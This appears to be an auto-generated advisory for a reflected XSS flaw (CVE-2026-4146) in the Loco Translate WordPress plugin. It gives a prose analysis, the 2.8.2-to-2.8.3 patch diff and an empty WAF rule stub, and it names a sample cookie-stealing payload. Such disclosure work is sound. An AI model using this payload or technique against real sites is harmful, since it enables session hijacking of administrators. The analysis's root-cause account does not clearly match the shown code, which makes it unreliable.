Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 1, 2026

CVE-2026-4146: Loco Translate <= 2.8.2 – Reflected Cross-Site Scripting via 'update_href' Parameter (loco-translate)

CVE ID CVE-2026-4146
Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 2.8.2
Patched Version 2.8.3
Disclosed March 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-4146:
The Loco Translate WordPress plugin contains a reflected cross-site scripting (XSS) vulnerability affecting versions up to and including 2.8.2. The vulnerability exists in the plugin’s version information display functionality, allowing unauthenticated attackers to inject arbitrary JavaScript via the ‘update_href’ parameter. This XSS vulnerability carries a CVSS score of 6.1 (Medium severity).

The root cause is insufficient output escaping of the ‘update_href’ parameter in the VersionController class. In vulnerable versions, the setLocoUpdate method unconditionally sets the ‘update_href’ view parameter with user-controlled input at line 52 of src/admin/config/VersionController.php. The template file tpl/admin/config/version.php then directly outputs this parameter via echo $update_href at line 14 without proper escaping. The vulnerability triggers when the plugin checks for updates and renders the version information page accessible through the WordPress admin interface.

Exploitation requires an attacker to craft a malicious URL containing JavaScript payloads in the ‘update_href’ parameter. When an authenticated administrator visits a specially crafted link pointing to the plugin’s version information page, the payload executes in the victim’s browser context. The attack vector is reflected XSS through GET parameters, with the vulnerable endpoint being the plugin’s configuration/version page accessible via WordPress admin menus. Attackers typically use payloads like alert(document.cookie) or more sophisticated JavaScript to steal session cookies, perform administrative actions, or redirect users.

The patch modifies the setLocoUpdate method in VersionController.php to validate and sanitize the ‘update_href’ parameter. The updated method now accepts a string version parameter and only sets ‘update_href’ when a valid version exists (line 52-62). When no update is available, it explicitly sets ‘update_href’ to an empty string. The template file version.php was also updated to check both ‘update’ and ‘update_href’ parameters using the truthy() method (line 6) and to escape the URL with esc_url() before output (line 14). These changes ensure that only properly formatted, sanitized URLs are output to the page.

Successful exploitation allows attackers to execute arbitrary JavaScript in the context of an authenticated administrator’s session. This can lead to session hijacking, administrative account takeover, content manipulation, plugin/theme installation, and other malicious actions within the WordPress dashboard. While the vulnerability requires social engineering to trick users into clicking malicious links, the impact is significant due to the administrative privileges typically held by users accessing plugin configuration pages.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/loco-translate/lib/data/locales.php
+++ b/loco-translate/lib/data/locales.php
@@ -2,4 +2,4 @@
 /**
  * Compiled data. Do not edit.
  */
-return ['af'=>[0=>'Afrikaans',1=>'Afrikaans'],'am'=>[0=>'Amharic',1=>'አማርኛ'],'arg'=>[0=>'Aragonese',1=>'Aragonés'],'ar'=>[0=>'Arabic',1=>'العربية'],'ary'=>[0=>'Moroccan Arabic',1=>'العربية المغربية'],'as'=>[0=>'Assamese',1=>'অসমীয়া'],'azb'=>[0=>'South Azerbaijani',1=>'گؤنئی آذربایجان'],'az'=>[0=>'Azerbaijani',1=>'Azərbaycan dili'],'bel'=>[0=>'Belarusian',1=>'Беларуская мова'],'bg_BG'=>[0=>'Bulgarian',1=>'Български'],'bn_BD'=>[0=>'Bengali (Bangladesh)',1=>'বাংলা'],'bo'=>[0=>'Tibetan',1=>'བོད་ཡིག'],'bs_BA'=>[0=>'Bosnian',1=>'Bosanski'],'ca'=>[0=>'Catalan',1=>'Català'],'ceb'=>[0=>'Cebuano',1=>'Cebuano'],'cs_CZ'=>[0=>'Czech',1=>'Čeština'],'cy'=>[0=>'Welsh',1=>'Cymraeg'],'da_DK'=>[0=>'Danish',1=>'Dansk'],'de_AT'=>[0=>'German (Austria)',1=>'Deutsch (Österreich)'],'de_DE'=>[0=>'German',1=>'Deutsch'],'de_DE_formal'=>[0=>'German (Formal)',1=>'Deutsch (Sie)'],'de_CH'=>[0=>'German (Switzerland)',1=>'Deutsch (Schweiz)'],'de_CH_informal'=>[0=>'German (Switzerland, Informal)',1=>'Deutsch (Schweiz, Du)'],'dsb'=>[0=>'Lower Sorbian',1=>'Dolnoserbšćina'],'dzo'=>[0=>'Dzongkha',1=>'རྫོང་ཁ'],'el'=>[0=>'Greek',1=>'Ελληνικά'],'en_CA'=>[0=>'English (Canada)',1=>'English (Canada)'],'en_GB'=>[0=>'English (UK)',1=>'English (UK)'],'en_NZ'=>[0=>'English (New Zealand)',1=>'English (New Zealand)'],'en_AU'=>[0=>'English (Australia)',1=>'English (Australia)'],'en_ZA'=>[0=>'English (South Africa)',1=>'English (South Africa)'],'eo'=>[0=>'Esperanto',1=>'Esperanto'],'es_MX'=>[0=>'Spanish (Mexico)',1=>'Español de México'],'es_CO'=>[0=>'Spanish (Colombia)',1=>'Español de Colombia'],'es_ES'=>[0=>'Spanish (Spain)',1=>'Español'],'es_CR'=>[0=>'Spanish (Costa Rica)',1=>'Español de Costa Rica'],'es_PE'=>[0=>'Spanish (Peru)',1=>'Español de Perú'],'es_VE'=>[0=>'Spanish (Venezuela)',1=>'Español de Venezuela'],'es_EC'=>[0=>'Spanish (Ecuador)',1=>'Español de Ecuador'],'es_DO'=>[0=>'Spanish (Dominican Republic)',1=>'Español de República Dominicana'],'es_UY'=>[0=>'Spanish (Uruguay)',1=>'Español de Uruguay'],'es_PR'=>[0=>'Spanish (Puerto Rico)',1=>'Español de Puerto Rico'],'es_GT'=>[0=>'Spanish (Guatemala)',1=>'Español de Guatemala'],'es_AR'=>[0=>'Spanish (Argentina)',1=>'Español de Argentina'],'es_CL'=>[0=>'Spanish (Chile)',1=>'Español de Chile'],'et'=>[0=>'Estonian',1=>'Eesti'],'eu'=>[0=>'Basque',1=>'Euskara'],'fa_IR'=>[0=>'Persian',1=>'فارسی'],'fa_AF'=>[0=>'Persian (Afghanistan)',1=>'(فارسی (افغانستان'],'fi'=>[0=>'Finnish',1=>'Suomi'],'fr_CA'=>[0=>'French (Canada)',1=>'Français du Canada'],'fr_FR'=>[0=>'French (France)',1=>'Français'],'fr_BE'=>[0=>'French (Belgium)',1=>'Français de Belgique'],'fur'=>[0=>'Friulian',1=>'Friulian'],'fy'=>[0=>'Frisian',1=>'Frysk'],'gd'=>[0=>'Scottish Gaelic',1=>'Gàidhlig'],'gl_ES'=>[0=>'Galician',1=>'Galego'],'gu'=>[0=>'Gujarati',1=>'ગુજરાતી'],'haz'=>[0=>'Hazaragi',1=>'هزاره گی'],'he_IL'=>[0=>'Hebrew',1=>'עִבְרִית'],'hi_IN'=>[0=>'Hindi',1=>'हिन्दी'],'hr'=>[0=>'Croatian',1=>'Hrvatski'],'hsb'=>[0=>'Upper Sorbian',1=>'Hornjoserbšćina'],'hu_HU'=>[0=>'Hungarian',1=>'Magyar'],'hy'=>[0=>'Armenian',1=>'Հայերեն'],'id_ID'=>[0=>'Indonesian',1=>'Bahasa Indonesia'],'is_IS'=>[0=>'Icelandic',1=>'Íslenska'],'it_IT'=>[0=>'Italian',1=>'Italiano'],'ja'=>[0=>'Japanese',1=>'日本語'],'jv_ID'=>[0=>'Javanese',1=>'Basa Jawa'],'ka_GE'=>[0=>'Georgian',1=>'ქართული'],'kab'=>[0=>'Kabyle',1=>'Taqbaylit'],'kk'=>[0=>'Kazakh',1=>'Қазақ тілі'],'km'=>[0=>'Khmer',1=>'ភាសាខ្មែរ'],'kn'=>[0=>'Kannada',1=>'ಕನ್ನಡ'],'ko_KR'=>[0=>'Korean',1=>'한국어'],'ckb'=>[0=>'Kurdish (Sorani)',1=>'كوردی‎'],'kir'=>[0=>'Kyrgyz',1=>'Кыргызча'],'lo'=>[0=>'Lao',1=>'ພາສາລາວ'],'lt_LT'=>[0=>'Lithuanian',1=>'Lietuvių kalba'],'lv'=>[0=>'Latvian',1=>'Latviešu valoda'],'mk_MK'=>[0=>'Macedonian',1=>'Македонски јазик'],'ml_IN'=>[0=>'Malayalam',1=>'മലയാളം'],'mn'=>[0=>'Mongolian',1=>'Монгол'],'mr'=>[0=>'Marathi',1=>'मराठी'],'ms_MY'=>[0=>'Malay',1=>'Bahasa Melayu'],'my_MM'=>[0=>'Myanmar (Burmese)',1=>'ဗမာစာ'],'nb_NO'=>[0=>'Norwegian (Bokmål)',1=>'Norsk bokmål'],'ne_NP'=>[0=>'Nepali',1=>'नेपाली'],'nl_BE'=>[0=>'Dutch (Belgium)',1=>'Nederlands (België)'],'nl_NL'=>[0=>'Dutch',1=>'Nederlands'],'nl_NL_formal'=>[0=>'Dutch (Formal)',1=>'Nederlands (Formeel)'],'nn_NO'=>[0=>'Norwegian (Nynorsk)',1=>'Norsk nynorsk'],'oci'=>[0=>'Occitan',1=>'Occitan'],'pa_IN'=>[0=>'Panjabi (India)',1=>'ਪੰਜਾਬੀ'],'pl_PL'=>[0=>'Polish',1=>'Polski'],'ps'=>[0=>'Pashto',1=>'پښتو'],'pt_BR'=>[0=>'Portuguese (Brazil)',1=>'Português do Brasil'],'pt_AO'=>[0=>'Portuguese (Angola)',1=>'Português de Angola'],'pt_PT'=>[0=>'Portuguese (Portugal)',1=>'Português'],'pt_PT_ao90'=>[0=>'Portuguese (Portugal, AO90)',1=>'Português (AO90)'],'rhg'=>[0=>'Rohingya',1=>'Ruáinga'],'ro_RO'=>[0=>'Romanian',1=>'Română'],'ru_RU'=>[0=>'Russian',1=>'Русский'],'sah'=>[0=>'Sakha',1=>'Сахалыы'],'snd'=>[0=>'Sindhi',1=>'سنڌي'],'si_LK'=>[0=>'Sinhala',1=>'සිංහල'],'sk_SK'=>[0=>'Slovak',1=>'Slovenčina'],'skr'=>[0=>'Saraiki',1=>'سرائیکی'],'sl_SI'=>[0=>'Slovenian',1=>'Slovenščina'],'sq'=>[0=>'Albanian',1=>'Shqip'],'sr_RS'=>[0=>'Serbian',1=>'Српски језик'],'sv_SE'=>[0=>'Swedish',1=>'Svenska'],'sw'=>[0=>'Swahili',1=>'Kiswahili'],'szl'=>[0=>'Silesian',1=>'Ślōnskŏ gŏdka'],'ta_IN'=>[0=>'Tamil',1=>'தமிழ்'],'ta_LK'=>[0=>'Tamil (Sri Lanka)',1=>'தமிழ்'],'te'=>[0=>'Telugu',1=>'తెలుగు'],'th'=>[0=>'Thai',1=>'ไทย'],'tl'=>[0=>'Tagalog',1=>'Tagalog'],'tr_TR'=>[0=>'Turkish',1=>'Türkçe'],'tt_RU'=>[0=>'Tatar',1=>'Татар теле'],'tah'=>[0=>'Tahitian',1=>'Reo Tahiti'],'ug_CN'=>[0=>'Uighur',1=>'ئۇيغۇرچە'],'uk'=>[0=>'Ukrainian',1=>'Українська'],'ur'=>[0=>'Urdu',1=>'اردو'],'uz_UZ'=>[0=>'Uzbek',1=>'O‘zbekcha'],'vi'=>[0=>'Vietnamese',1=>'Tiếng Việt'],'zh_CN'=>[0=>'Chinese (China)',1=>'简体中文'],'zh_TW'=>[0=>'Chinese (Taiwan)',1=>'繁體中文'],'zh_HK'=>[0=>'Chinese (Hong Kong)',1=>'香港中文']];
 No newline at end of file
+return ['af'=>[0=>'Afrikaans',1=>'Afrikaans'],'am'=>[0=>'Amharic',1=>'አማርኛ'],'arg'=>[0=>'Aragonese',1=>'Aragonés'],'ar'=>[0=>'Arabic',1=>'العربية'],'ary'=>[0=>'Moroccan Arabic',1=>'العربية المغربية'],'as'=>[0=>'Assamese',1=>'অসমীয়া'],'azb'=>[0=>'South Azerbaijani',1=>'گؤنئی آذربایجان'],'az'=>[0=>'Azerbaijani',1=>'Azərbaycan dili'],'bel'=>[0=>'Belarusian',1=>'Беларуская мова'],'bg_BG'=>[0=>'Bulgarian',1=>'Български'],'bn_BD'=>[0=>'Bengali (Bangladesh)',1=>'বাংলা'],'bo'=>[0=>'Tibetan',1=>'བོད་ཡིག'],'bs_BA'=>[0=>'Bosnian',1=>'Bosanski'],'ca'=>[0=>'Catalan',1=>'Català'],'ceb'=>[0=>'Cebuano',1=>'Cebuano'],'cs_CZ'=>[0=>'Czech',1=>'Čeština'],'cy'=>[0=>'Welsh',1=>'Cymraeg'],'da_DK'=>[0=>'Danish',1=>'Dansk'],'de_AT'=>[0=>'German (Austria)',1=>'Deutsch (Österreich)'],'de_DE'=>[0=>'German',1=>'Deutsch'],'de_DE_formal'=>[0=>'German (Formal)',1=>'Deutsch (Sie)'],'de_CH'=>[0=>'German (Switzerland)',1=>'Deutsch (Schweiz)'],'de_CH_informal'=>[0=>'German (Switzerland, Informal)',1=>'Deutsch (Schweiz, Du)'],'dsb'=>[0=>'Lower Sorbian',1=>'Dolnoserbšćina'],'dzo'=>[0=>'Dzongkha',1=>'རྫོང་ཁ'],'el'=>[0=>'Greek',1=>'Ελληνικά'],'en_CA'=>[0=>'English (Canada)',1=>'English (Canada)'],'en_GB'=>[0=>'English (UK)',1=>'English (UK)'],'en_NZ'=>[0=>'English (New Zealand)',1=>'English (New Zealand)'],'en_AU'=>[0=>'English (Australia)',1=>'English (Australia)'],'en_ZA'=>[0=>'English (South Africa)',1=>'English (South Africa)'],'eo'=>[0=>'Esperanto',1=>'Esperanto'],'es_MX'=>[0=>'Spanish (Mexico)',1=>'Español de México'],'es_CO'=>[0=>'Spanish (Colombia)',1=>'Español de Colombia'],'es_ES'=>[0=>'Spanish (Spain)',1=>'Español'],'es_CR'=>[0=>'Spanish (Costa Rica)',1=>'Español de Costa Rica'],'es_PE'=>[0=>'Spanish (Peru)',1=>'Español de Perú'],'es_VE'=>[0=>'Spanish (Venezuela)',1=>'Español de Venezuela'],'es_EC'=>[0=>'Spanish (Ecuador)',1=>'Español de Ecuador'],'es_DO'=>[0=>'Spanish (Dominican Republic)',1=>'Español de República Dominicana'],'es_UY'=>[0=>'Spanish (Uruguay)',1=>'Español de Uruguay'],'es_PR'=>[0=>'Spanish (Puerto Rico)',1=>'Español de Puerto Rico'],'es_GT'=>[0=>'Spanish (Guatemala)',1=>'Español de Guatemala'],'es_AR'=>[0=>'Spanish (Argentina)',1=>'Español de Argentina'],'es_CL'=>[0=>'Spanish (Chile)',1=>'Español de Chile'],'et'=>[0=>'Estonian',1=>'Eesti'],'eu'=>[0=>'Basque',1=>'Euskara'],'fa_IR'=>[0=>'Persian',1=>'فارسی'],'fa_AF'=>[0=>'Persian (Afghanistan)',1=>'(فارسی (افغانستان'],'fi'=>[0=>'Finnish',1=>'Suomi'],'fr_CA'=>[0=>'French (Canada)',1=>'Français du Canada'],'fr_FR'=>[0=>'French (France)',1=>'Français'],'fr_BE'=>[0=>'French (Belgium)',1=>'Français de Belgique'],'fur'=>[0=>'Friulian',1=>'Friulian'],'fy'=>[0=>'Frisian',1=>'Frysk'],'gd'=>[0=>'Scottish Gaelic',1=>'Gàidhlig'],'gl_ES'=>[0=>'Galician',1=>'Galego'],'gu'=>[0=>'Gujarati',1=>'ગુજરાતી'],'haz'=>[0=>'Hazaragi',1=>'هزاره گی'],'he_IL'=>[0=>'Hebrew',1=>'עִבְרִית'],'hi_IN'=>[0=>'Hindi',1=>'हिन्दी'],'hr'=>[0=>'Croatian',1=>'Hrvatski'],'hsb'=>[0=>'Upper Sorbian',1=>'Hornjoserbšćina'],'hu_HU'=>[0=>'Hungarian',1=>'Magyar'],'hy'=>[0=>'Armenian',1=>'Հայերեն'],'id_ID'=>[0=>'Indonesian',1=>'Bahasa Indonesia'],'is_IS'=>[0=>'Icelandic',1=>'Íslenska'],'it_IT'=>[0=>'Italian',1=>'Italiano'],'ja'=>[0=>'Japanese',1=>'日本語'],'jv_ID'=>[0=>'Javanese',1=>'Basa Jawa'],'ka_GE'=>[0=>'Georgian',1=>'ქართული'],'kab'=>[0=>'Kabyle',1=>'Taqbaylit'],'kk'=>[0=>'Kazakh',1=>'Қазақ тілі'],'km'=>[0=>'Khmer',1=>'ភាសាខ្មែរ'],'kn'=>[0=>'Kannada',1=>'ಕನ್ನಡ'],'ko_KR'=>[0=>'Korean',1=>'한국어'],'ckb'=>[0=>'Kurdish (Sorani)',1=>'كوردی‎'],'kir'=>[0=>'Kyrgyz',1=>'Кыргызча'],'lo'=>[0=>'Lao',1=>'ພາສາລາວ'],'lt_LT'=>[0=>'Lithuanian',1=>'Lietuvių kalba'],'lv'=>[0=>'Latvian',1=>'Latviešu valoda'],'mk_MK'=>[0=>'Macedonian',1=>'Македонски јазик'],'ml_IN'=>[0=>'Malayalam',1=>'മലയാളം'],'mn'=>[0=>'Mongolian',1=>'Монгол'],'mr'=>[0=>'Marathi',1=>'मराठी'],'ms_MY'=>[0=>'Malay',1=>'Bahasa Melayu'],'my_MM'=>[0=>'Myanmar (Burmese)',1=>'ဗမာစာ'],'nb_NO'=>[0=>'Norwegian (Bokmål)',1=>'Norsk bokmål'],'ne_NP'=>[0=>'Nepali',1=>'नेपाली'],'nl_NL_formal'=>[0=>'Dutch (Formal)',1=>'Nederlands (Formeel)'],'nl_BE'=>[0=>'Dutch (Belgium)',1=>'Nederlands (België)'],'nl_NL'=>[0=>'Dutch',1=>'Nederlands'],'nn_NO'=>[0=>'Norwegian (Nynorsk)',1=>'Norsk nynorsk'],'oci'=>[0=>'Occitan',1=>'Occitan'],'pa_IN'=>[0=>'Panjabi (India)',1=>'ਪੰਜਾਬੀ'],'pl_PL'=>[0=>'Polish',1=>'Polski'],'ps'=>[0=>'Pashto',1=>'پښتو'],'pt_BR'=>[0=>'Portuguese (Brazil)',1=>'Português do Brasil'],'pt_AO'=>[0=>'Portuguese (Angola)',1=>'Português de Angola'],'pt_PT'=>[0=>'Portuguese (Portugal)',1=>'Português'],'pt_PT_ao90'=>[0=>'Portuguese (Portugal, AO90)',1=>'Português (AO90)'],'rhg'=>[0=>'Rohingya',1=>'Ruáinga'],'ro_RO'=>[0=>'Romanian',1=>'Română'],'ru_RU'=>[0=>'Russian',1=>'Русский'],'sah'=>[0=>'Sakha',1=>'Сахалыы'],'snd'=>[0=>'Sindhi',1=>'سنڌي'],'si_LK'=>[0=>'Sinhala',1=>'සිංහල'],'sk_SK'=>[0=>'Slovak',1=>'Slovenčina'],'skr'=>[0=>'Saraiki',1=>'سرائیکی'],'sl_SI'=>[0=>'Slovenian',1=>'Slovenščina'],'sq'=>[0=>'Albanian',1=>'Shqip'],'sr_RS'=>[0=>'Serbian',1=>'Српски језик'],'sv_SE'=>[0=>'Swedish',1=>'Svenska'],'sw'=>[0=>'Swahili',1=>'Kiswahili'],'szl'=>[0=>'Silesian',1=>'Ślōnskŏ gŏdka'],'ta_IN'=>[0=>'Tamil',1=>'தமிழ்'],'ta_LK'=>[0=>'Tamil (Sri Lanka)',1=>'தமிழ்'],'te'=>[0=>'Telugu',1=>'తెలుగు'],'th'=>[0=>'Thai',1=>'ไทย'],'tl'=>[0=>'Tagalog',1=>'Tagalog'],'tr_TR'=>[0=>'Turkish',1=>'Türkçe'],'tt_RU'=>[0=>'Tatar',1=>'Татар теле'],'tah'=>[0=>'Tahitian',1=>'Reo Tahiti'],'ug_CN'=>[0=>'Uighur',1=>'ئۇيغۇرچە'],'uk'=>[0=>'Ukrainian',1=>'Українська'],'ur'=>[0=>'Urdu',1=>'اردو'],'uz_UZ'=>[0=>'Uzbek',1=>'O‘zbekcha'],'vi'=>[0=>'Vietnamese',1=>'Tiếng Việt'],'zh_CN'=>[0=>'Chinese (China)',1=>'简体中文'],'zh_HK'=>[0=>'Chinese (Hong Kong)',1=>'香港中文'],'zh_TW'=>[0=>'Chinese (Taiwan)',1=>'繁體中文']];
 No newline at end of file
--- a/loco-translate/loco.php
+++ b/loco-translate/loco.php
@@ -4,10 +4,10 @@
 Plugin URI: https://wordpress.org/plugins/loco-translate/
 Description: Translate themes and plugins directly in WordPress
 Author: Tim Whitlock
-Version: 2.8.2
+Version: 2.8.3
 Requires at least: 6.6
 Requires PHP: 7.4
-Tested up to: 6.9.1
+Tested up to: 6.9.4
 Author URI: https://localise.biz/wordpress/plugin
 Text Domain: loco-translate
 Domain Path: /languages/
@@ -31,7 +31,7 @@
  * Get version of this plugin
  */
 function loco_plugin_version(): string {
-    return '2.8.2';
+    return '2.8.3';
 }


--- a/loco-translate/src/admin/config/VersionController.php
+++ b/loco-translate/src/admin/config/VersionController.php
@@ -22,6 +22,7 @@
         $title = __('Plugin settings','loco-translate');
         $breadcrumb = new Loco_admin_Navigation;
         $breadcrumb->add( $title );
+        $this->setLocoUpdate('0');

         // current plugin version
         $version = loco_plugin_version();
@@ -40,42 +41,31 @@
             $this->set( 'devel', true );
         }

-
-        // check PHP version, noting that we want to move to minimum version 5.6 as per latest WordPress
+        // check PHP version is at least 7.4
         $phpversion = PHP_VERSION;
         if( version_compare($phpversion,'7.4.0','<') ){
             $this->set('phpupdate','7.4');
         }

-
         // check WordPress version, No plans to increase this until WP bumps their min PHP requirement.
         $wpversion = $GLOBALS['wp_version'];
-        /*if( version_compare($wpversion,'5.2','<') ){
-            $this->setWpUpdate('5.2');
-        }*/
-
         return $this->view('admin/config/version', compact('breadcrumb','version','phpversion','wpversion') );
     }


-    /**
-     * @param string version
-     */
-    private function setLocoUpdate( $version ){
-        $action = 'upgrade-plugin_'.loco_plugin_self();
-        $link = admin_url( 'update.php?action=upgrade-plugin&plugin='.rawurlencode(loco_plugin_self()) );
-        $this->set('update', $version );
-        $this->set('update_href', wp_nonce_url( $link, $action ) );
-    }
-

-    /**
-     * @param string minimum recommended version
-     *
-    private function setWpUpdate( $version ){
-        $this->set('wpupdate',$version);
-        $this->set('wpupdate_href', admin_url('update-core.php') );
-    }*/
+    private function setLocoUpdate( string $version ){
+        if( $version ){
+            $action = 'upgrade-plugin_'.loco_plugin_self();
+            $link = admin_url( 'update.php?action=upgrade-plugin&plugin='.rawurlencode(loco_plugin_self()) );
+            $this->set('update', $version );
+            $this->set('update_href', wp_nonce_url( $link, $action ) );
+        }
+        else {
+            $this->set('update','');
+            $this->set('update_href','');
+        }
+    }


 }
 No newline at end of file
--- a/loco-translate/src/ajax/FsReferenceController.php
+++ b/loco-translate/src/ajax/FsReferenceController.php
@@ -112,9 +112,9 @@
         // find file or fail
         $srcfile = $this->findSourceFile($refpath);

-        // deny access to sensitive files
-        if( 'wp-config.php' === $srcfile->basename() ){
-            throw new InvalidArgumentException('File access disallowed');
+        // Search utility only checks that reference exists, not whether it's actually a file
+        if( $srcfile->isDirectory() ){
+            throw new InvalidArgumentException('File is a directory');
         }

         // validate allowed source file types, including custom aliases
@@ -124,6 +124,11 @@
             throw new InvalidArgumentException('File extension disallowed, '.$ext );
         }

+        // Deny access to files outside wp-content and WordPress root, plus sensitive files in the root
+        if( 'wp-config.php' === $srcfile->basename() || ! ( $srcfile->underContentDirectory() || $srcfile->underWordPressDirectory() ) ){
+            throw new InvalidArgumentException('File access disallowed');
+        }
+
         // source code will be HTML-tokenized into multiple lines
         $code = [];

--- a/loco-translate/src/fs/Locations.php
+++ b/loco-translate/src/fs/Locations.php
@@ -103,7 +103,7 @@
      */
     public static function getThemes(){
         if( ! self::$theme ){
-            $roots = isset($GLOBALS['wp_theme_directories']) ? $GLOBALS['wp_theme_directories'] : [];
+            $roots = $GLOBALS['wp_theme_directories'] ?? [];
             if( ! $roots ){
                 $roots[] = trailingslashit( loco_constant('WP_CONTENT_DIR') ).'themes';
             }
--- a/loco-translate/src/mvc/View.php
+++ b/loco-translate/src/mvc/View.php
@@ -34,7 +34,7 @@
      * Name of current output buffer
      * @var string
      */
-    private $block;
+    private $name;


     /**
@@ -66,7 +66,7 @@
      * Clean up if something abruptly stopped rendering before graceful end
      */
     public function __destruct(){
-        if( $this->block ){
+        if( $this->name ){
             ob_end_clean();
         }
     }
@@ -106,7 +106,7 @@
     private function start( string $name ):void {
         $this->stop();
         $this->scope[$name] = null;
-        $this->block = $name;
+        $this->name = $name;
     }


@@ -117,13 +117,26 @@
     private function stop(){
         $content = ob_get_contents();
         ob_clean();
-        if( $b = $this->block ){
+        if( $b = $this->name ){
             if( isset($this->scope[$b]) ){
                 $content = $this->scope[$b].$content;
             }
             $this->scope[$b] = new _LocoViewBuffer($content);
         }
-        $this->block = '_trash';
+        $this->name = '_trash';
+    }
+
+
+    /**
+     * Output a captured block buffer, as long as it's valid
+     */
+    private function block( string $name ):void {
+        if( $this->has($name) ){
+            $view = $this->get($name);
+            if( $view instanceof _LocoViewBuffer ){
+                echo $view->__toString();
+            }
+        }
     }


@@ -146,8 +159,7 @@


     /**
-     * @param string $prop
-     * @return bool
+     * Test if a view argument exists
      */
     public function has( string $prop ):bool {
         return $this->scope->offsetExists($prop);
@@ -156,7 +168,6 @@

     /**
      * Get property after checking with self::has
-     * @param string $prop
      * @return mixed
      */
     public function get( string $prop ){
@@ -166,10 +177,6 @@

     /**
      * Set a view argument
-     * @param string $prop
-     * @param mixed $value
-     *
-     * @return Loco_mvc_View
      */
     public function set( string $prop, $value ):self {
         $this->scope[$prop] = $value;
@@ -177,6 +184,13 @@
     }


+    /**
+     * Remove a view argument
+     */
+    public function unset( string $prop ):void {
+        $this->scope->offsetUnset($prop);
+    }
+

     /**
      * Main entry to rendering complete template
@@ -185,7 +199,7 @@
      * @param self|null $parent parent view rendering this view
      */
     public function render( string $tpl, ?array $args = null, ?Loco_mvc_View $parent = null ):string {
-        if( $this->block ){
+        if( $this->name ){
             return $this->fork()->render( $tpl, $args, $this );
         }
         $this->setTemplate($tpl);
@@ -213,7 +227,7 @@
         $this->start('_trash');
         $this->execTemplate( $this->template );
         $this->stop();
-        $this->block = null;
+        $this->name = null;
         // decorate via parent view if there is one
         if( $this->parent ){
             $this->parent->scope = clone $this->scope;
@@ -294,9 +308,9 @@
  */
 class _LocoViewBuffer {

-    private $s;
+    private string $s;

-    public function __construct( $s ){
+    public function __construct( string $s ){
         $this->s = $s;
     }

--- a/loco-translate/src/mvc/ViewParams.php
+++ b/loco-translate/src/mvc/ViewParams.php
@@ -65,30 +65,35 @@

     /**
      * @internal
-     * @param string $p property name
      * @return mixed
      */
-    public function __get( $p ){
+    public function __get( string $p ){
         return $this->offsetExists($p) ? $this->offsetGet($p) : null;
     }


     /**
      * Test if a property exists, even if null
-     * @param string $p property name
-     * @return bool
      */
-    public function has( $p ){
+    public function has( string  $p ):bool {
         return $this->offsetExists($p);
     }


     /**
+     * Test if a property exists and is truthy
+     */
+    public function truthy( string $p ):bool {
+        return $this->offsetExists($p) && $this->offsetGet($p);
+    }
+
+
+    /**
      * Print escaped property value
      * @param string $p property key
      * @return string empty string
      */
-    public function e( $p ){
+    public function e( string $p ):string {
         $text = $this->__get($p);
         echo $this->escape( $text );
         return '';
--- a/loco-translate/tpl/admin/bundle/conf.php
+++ b/loco-translate/tpl/admin/bundle/conf.php
@@ -144,6 +144,7 @@
                 <a class="button button-link has-icon icon-cog" href="<?php $parent->e('href')?>"><?php esc_html_e('Parent theme','loco-translate')?></a><?php
                 endif?>
                 <a class="button button-link has-icon icon-download" href="<?php $params->e('xmlUrl')?>"><?php esc_html_e('XML','loco-translate')?></a>
+                <a class="button button-link has-icon icon-help" href="<?php $params->e('manUrl')?>" target="_blank"><?php esc_html_e('Help','loco-translate')?></a>
             </p>
         </footer>

--- a/loco-translate/tpl/admin/bundle/setup.php
+++ b/loco-translate/tpl/admin/bundle/setup.php
@@ -4,8 +4,7 @@
  * See setup/*.php for header definitions
  */
 $this->extend('../layout');
-
-    echo $header;
+$this->block('header');
     /* @var Loco_mvc_ViewParams $params */


--- a/loco-translate/tpl/admin/config/version.php
+++ b/loco-translate/tpl/admin/config/version.php
@@ -3,9 +3,9 @@
  * Plugin version information
  */
 $this->extend('../layout');
-
+    /* @var Loco_mvc_ViewParams $params */
     // Loco Translate version:
-    if( $params->has('update') ):?>
+    if( $params->truthy('update') && $params->truthy('update_href') ):?>
     <div class="panel panel-warning">
         <h3 class="has-icon">
             <?php self::e( __('Version %s','loco-translate'), $version )?>
@@ -14,7 +14,7 @@
             <?php esc_html_e('A newer version of Loco Translate is available for download','loco-translate')?>.
         </p>
         <p class="submit">
-            <a class="button button-primary" href="<?php echo $update_href?>" target="_blank"><?php self::e(__('Upgrade to %s','loco-translate'), 'v'.$update )?></a>
+            <a class="button button-primary" href="<?php echo esc_url($update_href)?>" target="_blank"><?php self::e(__('Upgrade to %s','loco-translate'), 'v'.$update )?></a>
             <a class="button button-link has-icon icon-ext" href="https://wordpress.org/plugins/loco-translate/installation/" target="_blank"><?php esc_html_e('Install manually','loco-translate')?></a>
         </p>
     </div><?php
--- a/loco-translate/tpl/admin/debug/debug-layout.php
+++ b/loco-translate/tpl/admin/debug/debug-layout.php
@@ -14,11 +14,9 @@
     </style>
 <?php

-/* @var Loco_mvc_View $params */
-/* @var string $header */
-$params->has('header') and print $header;
-
+$this->block('header');

+/* @var Loco_mvc_View $params */
 /* @var ArrayIterator|null $log */
 if( $params->has('log') ):?>
     <div class="panel" id="loco-log">
--- a/loco-translate/tpl/admin/file/editor.php
+++ b/loco-translate/tpl/admin/file/editor.php
@@ -3,8 +3,9 @@
  * Editor layout for PO and POT files
  */

+/* @var Loco_mvc_View $this */
 $this->extend('../layout');
-echo $header;
+$this->block('header');

 /* @var Loco_mvc_ViewParams $js */
 /* @var Loco_mvc_ViewParams $ui */
--- a/loco-translate/tpl/admin/file/info.php
+++ b/loco-translate/tpl/admin/file/info.php
@@ -3,7 +3,7 @@
  * File information for any type of file. Extended by specific views for supported types
  */
 $this->extend('../layout');
-echo $header;
+$this->block('header');
 /* @var Loco_mvc_FileParams $file */
 ?>

--- a/loco-translate/tpl/admin/file/view.php
+++ b/loco-translate/tpl/admin/file/view.php
@@ -2,5 +2,6 @@
 /**
  * Source view - displays file in raw form if possible
  */
+/* @var Loco_mvc_View $this */
 $this->extend('../layout');
-echo $source;
 No newline at end of file
+$this->block('source');

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-4146
# Virtual patch for reflected XSS in Loco Translate plugin via update_href parameter
# Blocks exploitation attempts targeting the version information page
